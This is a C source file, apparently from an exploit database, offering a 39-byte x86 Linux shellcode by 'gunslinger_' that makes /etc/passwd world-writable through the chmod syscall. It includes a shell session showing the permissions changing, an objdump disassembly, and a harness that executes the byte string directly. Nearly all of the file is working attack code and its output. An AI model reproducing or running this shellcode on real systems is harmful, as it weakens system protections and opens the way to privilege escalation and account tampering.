83 lines
No EOL
3.6 KiB
C
83 lines
No EOL
3.6 KiB
C
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
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0 _ __ __ __ 1
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1 /' \ __ /'__`\ /\ \__ /'__`\ 0
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0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
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1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
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0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
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1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
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0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
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1 \ \____/ >> Exploit database separated by exploit 0
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0 \/___/ type (local, remote, DoS, etc.) 1
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1 1
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0 [+] Site : Inj3ct0r.com 0
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1 [+] Support e-mail : submit[at]inj3ct0r.com 1
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0 0
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1 ######################################### 1
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0 I'm gunslinger_ member from Inj3ct0r Team 1
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1 ######################################### 0
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0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
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/*
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Title : change mode 0777 of "/etc/passwd" with sys_chmod syscall
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Name : 39 bytes sys_chmod("/etc/passwd",599) x86 linux shellcode
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Date : may, 31 2009
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Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
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Web : devilzc0de.com
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blog : gunslingerc0de.wordpress.com
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tested on : linux debian
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*/
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/*
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root@localhost:/home/gunslinger/shellcode# ls -la /etc/passwd
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-rw-r--r-- 1 root root 1869 2010-05-08 15:53 /etc/passwd
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root@localhost:/home/gunslinger/shellcode# gcc -o chmod chmod.c
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chmod.c: In function ‘main’:
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chmod.c:37: warning: incompatible implicit declaration of built-in function ‘strlen’
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root@localhost:/home/gunslinger/shellcode# ./chmod
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Length: 39
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root@localhost:/home/gunslinger/shellcode# ls -la /etc/passwd
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-rwxrwxrwx 1 root root 1869 2010-05-08 15:53 /etc/passwd
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root@localhost:/home/gunslinger/shellcode# chmod 644 /etc/passwd
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root@localhost:/home/gunslinger/shellcode# ls -la /etc/passwd
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-rw-r--r-- 1 root root 1869 2010-05-08 15:53 /etc/passwd
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root@localhost:/home/gunslinger/shellcode# objdump -d chmod
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chmod: file format elf32-i386
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Disassembly of section .text:
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08048060 <.text>:
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8048060: eb 15 jmp 0x8048077
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8048062: 31 c0 xor %eax,%eax
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8048064: b0 0f mov $0xf,%al
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8048066: 5b pop %ebx
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8048067: 31 c9 xor %ecx,%ecx
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8048069: 66 b9 ff 01 mov $0x1ff,%cx
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804806d: cd 80 int $0x80
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804806f: 31 c0 xor %eax,%eax
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8048071: b0 01 mov $0x1,%al
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8048073: 31 db xor %ebx,%ebx
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8048075: cd 80 int $0x80
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8048077: e8 e6 ff ff ff call 0x8048062
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804807c: 2f das
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804807d: 65 gs
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804807e: 74 63 je 0x80480e3
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8048080: 2f das
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8048081: 70 61 jo 0x80480e4
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8048083: 73 73 jae 0x80480f8
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8048085: 77 64 ja 0x80480eb
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root@localhost:/home/gunslinger/shellcode#
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*/
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#include <stdio.h>
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char sc[] = "\xeb\x15\x31\xc0\xb0\x0f\x5b\x31\xc9\x66\xb9\xff\x01\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe6\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";
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int main(void)
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{
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fprintf(stdout,"Length: %d\n",strlen(sc));
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(*(void(*)()) sc)();
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return 0;
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} |